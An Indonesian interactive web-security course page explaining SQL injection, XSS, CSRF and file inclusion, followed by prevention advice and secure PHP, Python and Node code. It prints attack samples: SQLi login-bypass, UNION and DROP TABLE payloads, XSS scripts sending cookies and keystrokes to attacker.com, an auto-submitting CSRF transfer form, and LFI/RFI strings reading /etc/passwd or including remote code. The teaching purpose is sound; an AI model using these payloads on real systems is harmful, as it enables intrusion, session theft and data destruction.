๐Ÿ“š Keamanan Web ยท Level Pemula - Menengah

SQL Injection &
Web Attacks

Media pembelajaran interaktif lengkap tentang serangan keamanan web โ€” pelajari cara kerja serangan, simulasikan, dan pelajari cara pencegahannya.

๐Ÿ’‰
Materi 01
SQL Injection
Pengenalan & cara kerja SQL Injection
๐Ÿ”ฌ
Materi 02
Contoh Serangan
Ilustrasi & simulasi SQL Injection nyata
โš”๏ธ
Materi 03
Jenis Serangan Web
XSS, CSRF, File Inclusion & lainnya
๐Ÿ›ก๏ธ
Materi 04
Pencegahan
Cara melindungi aplikasi web dari serangan
๐Ÿ’ป
Materi 05
Kode Aman
Parameterized queries & best practices
๐Ÿงช
Materi 06
Lab Simulasi
Praktek langsung semua jenis serangan
๐Ÿค–
Materi 07
Tanya AI
Diskusi dengan AI tentang keamanan web
๐Ÿ–ฑ๏ธ Media Pembelajaran Interaktif by acim.guru
๐Ÿ’‰ Materi 01

SQL Injection

Salah satu serangan web paling berbahaya dan paling umum yang menargetkan basis data aplikasi web.

๐Ÿง  Apa itu SQL Injection?

SQL Injection (SQLi) adalah teknik serangan siber di mana penyerang menyisipkan atau "menginjeksikan" kode SQL berbahaya ke dalam input yang diterima oleh aplikasi, dengan tujuan memanipulasi atau membajak query database yang dieksekusi oleh server.

Serangan ini pertama kali didokumentasikan pada tahun 1998 oleh Jeff Forristal dan masih menjadi salah satu kerentanan paling umum di dunia, masuk dalam OWASP Top 10 โ€” daftar 10 risiko keamanan aplikasi web paling kritis.

โš ๏ธ Menurut laporan Verizon DBIR, SQL Injection masih termasuk dalam metode serangan paling sering digunakan untuk mencuri data dari database perusahaan.

โš™๏ธ Cara Kerja SQL Injection

Aplikasi web yang rentan biasanya menggabungkan input pengguna langsung ke dalam query SQL tanpa sanitasi. Misalnya, kode PHP yang buruk:

PHP โ€” Kode Rentan
// โŒ KODE BERBAHAYA โ€” JANGAN GUNAKAN!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users 
  WHERE username = '$username' 
  AND password = '$password'";

// Query dikirim langsung ke database โ€” RENTAN!
$result = mysqli_query($conn, $query);

Jika penyerang memasukkan admin' -- sebagai username, maka query yang terbentuk menjadi:

SQL Query yang Dibajak
SELECT * FROM users 
  WHERE username = 'admin' --' AND password = '...'

-- Tanda "--" membuat sisa query diabaikan
-- Penyerang masuk sebagai 'admin' tanpa password!

๐ŸŽฏ Jenis-Jenis SQL Injection

๐ŸŽฏ

In-band SQLi

Paling umum. Penyerang menggunakan saluran yang sama untuk menyerang dan mendapat hasil. Contoh: Error-based & Union-based.

๐Ÿ•ต๏ธ

Blind SQLi

Tidak ada data yang langsung ditampilkan. Penyerang menyimpulkan data dari respons aplikasi (Boolean-based & Time-based).

๐Ÿ“ก

Out-of-band SQLi

Menggunakan saluran berbeda untuk mengambil data, misalnya melalui DNS atau HTTP request ke server lain.

๐Ÿ’ฃ

Stacked Queries

Menambahkan query SQL tambahan setelah query asli untuk menjalankan perintah berbahaya seperti DELETE atau DROP.

๐Ÿ”ฅ Dampak SQL Injection

SQL Injection bisa menyebabkan kerugian sangat besar, di antaranya:

  • Pembocoran Data โ€” Mencuri seluruh isi database: username, password, data kartu kredit, informasi pribadi.
  • Autentikasi Bypass โ€” Masuk ke sistem tanpa memerlukan password yang benar.
  • Modifikasi Data โ€” Mengubah, menghapus, atau menambah data dalam database.
  • Eksekusi Perintah Sistem โ€” Pada konfigurasi tertentu, bisa menjalankan perintah di server OS.
  • Denial of Service โ€” Membuat database tidak dapat diakses dengan perintah DROP atau DELETE massal.
๐Ÿ›๏ธ Kasus Nyata: Pada tahun 2009, Heartland Payment Systems kehilangan data lebih dari 130 juta kartu kredit akibat SQL Injection โ€” salah satu kebocoran data terbesar dalam sejarah.
๐Ÿ”ฌ Materi 02

Contoh & Simulasi Serangan

Pelajari bagaimana SQL Injection bekerja secara nyata melalui ilustrasi dan simulasi interaktif.

๐Ÿ“‹ Skenario: Form Login yang Rentan

Bayangkan sebuah website toko online memiliki halaman login sederhana. Di balik layar, kode PHP-nya seperti ini:

PHP โ€” Backend Rentan
<?php
$user = $_POST['username'];  // Input langsung dari form
$pass = md5($_POST['password']);

$sql = "SELECT * FROM users 
        WHERE username='$user' 
        AND password='$pass'";

$result = mysqli_query($db, $sql);

if (mysqli_num_rows($result) > 0) {
    echo "Login berhasil!";
} else {
    echo "Username/password salah.";
}

๐Ÿ’ก Teknik Injeksi Umum

Berikut adalah payload SQL Injection yang sering digunakan penyerang (hanya untuk tujuan edukasi):

Payload SQL Injection
-- 1. Login Bypass (comment out password check)
Username: admin' --
Password: (apa saja)

-- 2. Login Bypass (OR selalu true)
Username: ' OR '1'='1
Password: ' OR '1'='1

-- 3. UNION Attack (ekstrak data tabel lain)
' UNION SELECT username,password FROM admin --

-- 4. Drop Table (destruktif)
'; DROP TABLE users; --

-- 5. Time-based Blind SQLi
'; IF(1=1) WAITFOR DELAY '0:0:5' --
โšก SIMULASI SQL INJECTION โ€” FORM LOGIN
๐ŸŽ“ Ini adalah simulasi edukatif. Tidak ada database nyata yang terlibat. Coba masukkan payload di bawah ini.
๐ŸŽฏ Payload 1:
Username: admin' --
๐ŸŽฏ Payload 2:
Username: ' OR '1'='1
๐Ÿ” Form Login Toko Online (Rentan)
OUTPUT
Masukkan input di atas dan klik "Coba Login"...

๐Ÿ“Š Analisis Query

Ketika penyerang memasukkan admin' --, berikut yang terjadi step by step:

Analisis Query SQL
-- Query ASLI yang diharapkan developer:
SELECT * FROM users 
WHERE username='[input]' AND password='[hash]'

-- Query yang TERJADI setelah injeksi admin' --
SELECT * FROM users 
WHERE username='admin' --' AND password='xxx'

-- Apa yang terjadi:
-- โœ… WHERE username='admin' โ†’ dicek
-- โŒ AND password='xxx'    โ†’ diabaikan karena --
-- ๐Ÿšจ Hasil: User 'admin' ditemukan โ†’ LOGIN BERHASIL!
โš”๏ธ Materi 03

Serangan Web Lainnya

Selain SQL Injection, ada banyak jenis serangan web berbahaya yang perlu diketahui oleh setiap developer.

๐ŸŽญ XSS โ€” Cross-Site Scripting

Cross-Site Scripting (XSS) adalah serangan di mana penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang kemudian dieksekusi oleh browser pengguna lain yang mengunjungi halaman tersebut.

๐Ÿ“Œ

Stored XSS

Skrip jahat disimpan di database dan ditampilkan ke semua pengunjung. Paling berbahaya.

๐Ÿ”—

Reflected XSS

Skrip dikirim melalui URL dan langsung dieksekusi. Korban harus klik link berbahaya.

๐ŸŒ

DOM-based XSS

Memanipulasi DOM browser langsung tanpa melibatkan server.

Contoh Payload XSS
-- Payload XSS sederhana (alert popup)
<script>alert('XSS Berhasil!')</script>

-- Steal cookies (session hijacking)
<script>
  document.location='http://attacker.com/steal?c='+document.cookie
</script>

-- Keylogger XSS
<script>
  document.onkeypress = function(e) {
    new Image().src = 'http://attacker.com/log?k='+e.key;
  }
</script>
โšก SIMULASI XSS โ€” Komentar Blog
๐ŸŽ“ Simulasi aman โ€” skrip dirender dalam sandbox. Coba masukkan tag HTML atau skrip sederhana.
๐Ÿ’ฌ Kolom Komentar (Rentan XSS)
Tampilan komentar di halaman (tanpa sanitasi):
Komentar akan muncul di sini...

๐ŸŽฃ CSRF โ€” Cross-Site Request Forgery

CSRF adalah serangan yang memaksa browser pengguna yang sudah login untuk membuat permintaan tidak sah ke aplikasi web target, tanpa sepengetahuan pengguna.

Contoh skenario: Pengguna login ke internet banking, lalu tanpa sengaja mengklik link berbahaya yang secara diam-diam mengirim transfer uang ke rekening penyerang.

Contoh CSRF Attack
<!-- Halaman berbahaya yang dikirim penyerang -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://bank.com/transfer" method="POST">
      <input name="to" value="rekening_penyerang">
      <input name="amount" value="10000000">
    </form>
  </body>
</html>

// Jika korban membuka halaman ini saat masih login
// di bank.com, transfer akan otomatis dikirim!

๐Ÿ“ File Inclusion Attack

Serangan ini memanfaatkan fungsi include/require PHP yang tidak aman untuk menyisipkan file berbahaya ke dalam server.

๐Ÿ 

LFI โ€” Local File Inclusion

Menyisipkan file yang sudah ada di server. Bisa membaca file sensitif seperti /etc/passwd atau file konfigurasi.

๐ŸŒ

RFI โ€” Remote File Inclusion

Menyisipkan file dari server lain (URL eksternal). Bisa mengeksekusi kode PHP berbahaya dari internet.

Contoh File Inclusion
// Kode PHP rentan
$page = $_GET['page'];
include($page . ".php");

// LFI Attack โ€” baca file sensitif:
?page=../../../../etc/passwd%00

// RFI Attack โ€” eksekusi kode dari internet:
?page=http://attacker.com/malicious

๐Ÿ”“ Serangan Lainnya

๐ŸŒŠ

DDoS

Membanjiri server dengan traffic palsu hingga tidak bisa melayani pengguna normal.

๐Ÿ”‘

Brute Force

Mencoba semua kombinasi password hingga berhasil. Efektif pada sistem tanpa rate limiting.

๐Ÿ“ฆ

Clickjacking

Menyembunyikan tombol berbahaya di bawah tampilan halaman normal agar pengguna tidak sengaja mengkliknya.

๐Ÿ”„

Open Redirect

Memanfaatkan redirect yang tidak tervalidasi untuk mengarahkan pengguna ke situs phishing.

๐Ÿ›ก๏ธ Materi 04

Pencegahan Serangan Web

Pelajari strategi dan teknik terbaik untuk melindungi aplikasi web dari berbagai serangan.

๐Ÿ”’ 1. Parameterized Queries / Prepared Statements

Ini adalah pertahanan terpenting terhadap SQL Injection. Dengan prepared statements, query dan data dipisahkan sehingga input pengguna tidak pernah dieksekusi sebagai kode SQL.

PHP โ€” PDO Parameterized Query
// โœ… CARA AMAN MENGGUNAKAN PDO
$stmt = $db->prepare(
    "SELECT * FROM users 
     WHERE username = ? 
     AND password = ?"
);
$stmt->execute([$username, $password]);

// Atau dengan named parameters (lebih jelas):
$stmt = $db->prepare(
    "SELECT * FROM users 
     WHERE id = :id"
);
$stmt->execute(['id' => $id]);

// Input pengguna TIDAK BISA menjadi kode SQL โœ…
Python โ€” SQLAlchemy (ORM)
# โœ… Menggunakan ORM (Object-Relational Mapping)
from sqlalchemy import text

# Parameterized query dengan SQLAlchemy
result = db.execute(
    text("SELECT * FROM users WHERE username = :u"),
    {"u": username}
)

# Atau menggunakan ORM model (PALING AMAN)
user = User.query.filter_by(username=username).first()

โœ… 2. Input Validation & Sanitization

Selalu validasi dan sanitasi semua input pengguna sebelum diproses atau disimpan. Prinsip: "Trust nothing, validate everything."

PHP โ€” Validasi & Sanitasi Input
// โœ… Validasi tipe data
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (!$id) { die("ID tidak valid"); }

// โœ… Sanitasi HTML untuk mencegah XSS
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');

// โœ… Validasi format email
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);

// โœ… Whitelist characters yang diizinkan
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Username mengandung karakter tidak valid");
}

๐Ÿ—๏ธ 3. Framework Security Features

Gunakan framework modern yang sudah memiliki fitur keamanan bawaan. Framework seperti Laravel, Django, Spring, dan Express.js memiliki proteksi terhadap SQLi, XSS, dan CSRF secara default.

Laravel โ€” Eloquent ORM (Aman)
// โœ… Laravel secara otomatis menggunakan prepared statements
$user = User::where('email', $email)->first();

// โœ… CSRF Protection sudah aktif di semua form
<form>
    @csrf
    <input type="text" name="username">
</form>

// โœ… Output escaping otomatis di Blade template
{{ $comment }}         // Otomatis di-escape (aman dari XSS)
{!! $comment !!}       // RAW โ€” gunakan hanya jika perlu!

๐ŸŒ 4. HTTP Security Headers

Tambahkan header keamanan HTTP untuk melindungi dari berbagai serangan browser-based.

Nginx โ€” Security Headers
# Content Security Policy โ€” cegah XSS
add_header Content-Security-Policy "default-src 'self'";

# Cegah Clickjacking
add_header X-Frame-Options "SAMEORIGIN";

# Cegah MIME Sniffing
add_header X-Content-Type-Options "nosniff";

# Wajibkan HTTPS
add_header Strict-Transport-Security "max-age=31536000";

# CSRF via SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

๐Ÿ›ก๏ธ Ringkasan Strategi Pencegahan

๐Ÿ”’

Parameterized Queries

Pisahkan data dari query SQL. Gunakan prepared statements di semua interaksi database.

โœ…

Input Validation

Validasi semua input dari sisi server. Jangan andalkan validasi client-side saja.

๐Ÿ—๏ธ

Framework Security

Gunakan framework modern dengan ORM dan fitur keamanan bawaan yang sudah teruji.

๐ŸŒ

CSP & Headers

Tambahkan HTTP security headers untuk perlindungan di level browser.

๐Ÿ”‘

Least Privilege

Database user hanya boleh punya izin yang diperlukan โ€” jangan gunakan root/admin.

๐Ÿ”

WAF & Monitoring

Gunakan Web Application Firewall dan monitor log untuk mendeteksi serangan.

๐Ÿ’ป Materi 05

Kode Aman & Best Practices

Panduan lengkap menulis kode yang aman menggunakan berbagai bahasa pemrograman dan framework.

๐Ÿ“˜ Parameterized Query di PHP

Berikut adalah contoh kode aman menggunakan PDO (PHP Data Objects) yang direkomendasikan untuk semua proyek PHP modern:

PHP โ€” PDO Complete Example
<?php
// โœ… Koneksi database yang aman
try {
    $pdo = new PDO(
        "mysql:host=localhost;dbname=myapp;charset=utf8mb4",
        "db_user",
        "password",
        [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,  // Penting!
        ]
    );
} catch (PDOException $e) {
    error_log($e->getMessage()); // Log error, jangan tampilkan!
    die("Koneksi database gagal.");
}

// โœ… Query SELECT aman
function getUserById(PDO $pdo, int $id): ?array {
    $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id = :id");
    $stmt->execute(['id' => $id]);
    return $stmt->fetch() ?: null;
}

// โœ… Query INSERT aman
function createUser(PDO $pdo, string $name, string $email): int {
    $stmt = $pdo->prepare(
        "INSERT INTO users (name, email, created_at) VALUES (:name, :email, NOW())"
    );
    $stmt->execute(['name' => $name, 'email' => $email]);
    return (int) $pdo->lastInsertId();
}

// โœ… Codestar.shop: $stmt = $db->query("SELECT * FROM users WHERE id = ?", [$id]);

๐Ÿ Python โ€” Kode Aman dengan Flask & SQLAlchemy

Python Flask + SQLAlchemy
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
from markupsafe import escape  # Untuk XSS prevention

app = Flask(__name__)
db = SQLAlchemy(app)

# โœ… Model ORM โ€” query otomatis parameterized
class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True)

# โœ… Endpoint login yang aman
@app.route('/login', methods=['POST'])
def login():
    username = escape(request.form.get('username', ''))
    user = User.query.filter_by(username=username).first()
    
    if user:
        return jsonify({'status': 'success'})
    return jsonify({'status': 'error'}), 401

๐ŸŸจ JavaScript/Node.js โ€” Kode Aman

Node.js โ€” Express + MySQL2
const mysql = require('mysql2/promise');
const validator = require('validator');  // Input validation
const DOMPurify = require('isomorphic-dompurify'); // XSS prevention

// โœ… Query aman dengan placeholders
async function getUser(db, userId) {
    // Validasi input
    if (!validator.isInt(String(userId))) {
        throw new Error('ID tidak valid');
    }
    
    // Parameterized query
    const [rows] = await db.execute(
        'SELECT id, name FROM users WHERE id = ?',
        [userId]  // Selalu array
    );
    return rows[0] || null;
}

// โœ… Sanitasi output untuk mencegah XSS
const cleanComment = DOMPurify.sanitize(userComment);
document.getElementById('comment').innerHTML = cleanComment;

๐Ÿ” Password Hashing yang Benar

โŒ Jangan pernah menyimpan password dalam bentuk plain text atau hanya menggunakan MD5/SHA1!
PHP โ€” Password Hashing Aman
// โŒ BURUK โ€” MD5 mudah di-crack
$hash = md5($password);

// โœ… BAIK โ€” bcrypt dengan cost factor
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// โœ… TERBAIK โ€” Argon2id (PHP 7.3+)
$hash = password_hash($password, PASSWORD_ARGON2ID);

// โœ… Verifikasi password yang aman
if (password_verify($input, $storedHash)) {
    echo "Password benar!";
}
๐Ÿ“š Sumber belajar lebih lanjut: codestar.shop โ€” tutorial keamanan web lengkap dalam Bahasa Indonesia.
๐Ÿงช Materi 06

Lab Simulasi Interaktif

Praktikkan pengetahuan Anda dengan simulasi lengkap berbagai serangan web dalam lingkungan yang aman.

โš ๏ธ Penting: Semua simulasi di halaman ini adalah lingkungan terisolasi. Tidak ada server nyata yang diserang. Tujuannya murni edukasi untuk memahami cara kerja serangan.
๐Ÿ”ฌ LAB 1 โ€” Perbandingan Query Aman vs Rentan

Lihat perbedaan bagaimana query yang rentan vs aman menangani input berbahaya.

Masukkan input dan klik Jalankan...
๐Ÿ”ฌ LAB 2 โ€” CSRF Token Protection

Lihat bagaimana CSRF token melindungi form dari request palsu.

โŒ Form Tanpa CSRF
โœ… Form Dengan CSRF Token
CSRF Token: abc123xyz789
Output simulasi...
๐Ÿ”ฌ LAB 3 โ€” XSS Input Sanitizer

Lihat bagaimana htmlspecialchars() mencegah XSS dengan mengubah karakter berbahaya.

Klik proses untuk melihat perbedaan...
๐Ÿค– Materi 07

Tanya AI Security Expert

Diskusikan topik keamanan web dengan AI. Tanyakan apa saja tentang SQL Injection, XSS, CSRF, dan topik cybersecurity lainnya.

๐Ÿค–
CyberLearn AI
Security Expert ยท Selalu siap membantu belajar
๐Ÿ‘‹ Halo! Saya CyberLearn AI, asisten belajar keamanan web Anda. Saya bisa membantu menjelaskan konsep SQL Injection, XSS, CSRF, strategi pencegahan, dan topik cybersecurity lainnya dalam Bahasa Indonesia. Apa yang ingin Anda pelajari hari ini?
๐Ÿ”

Keluar Aplikasi?

Apakah Anda yakin ingin menutup media pembelajaran ini? Progress Anda tidak akan tersimpan.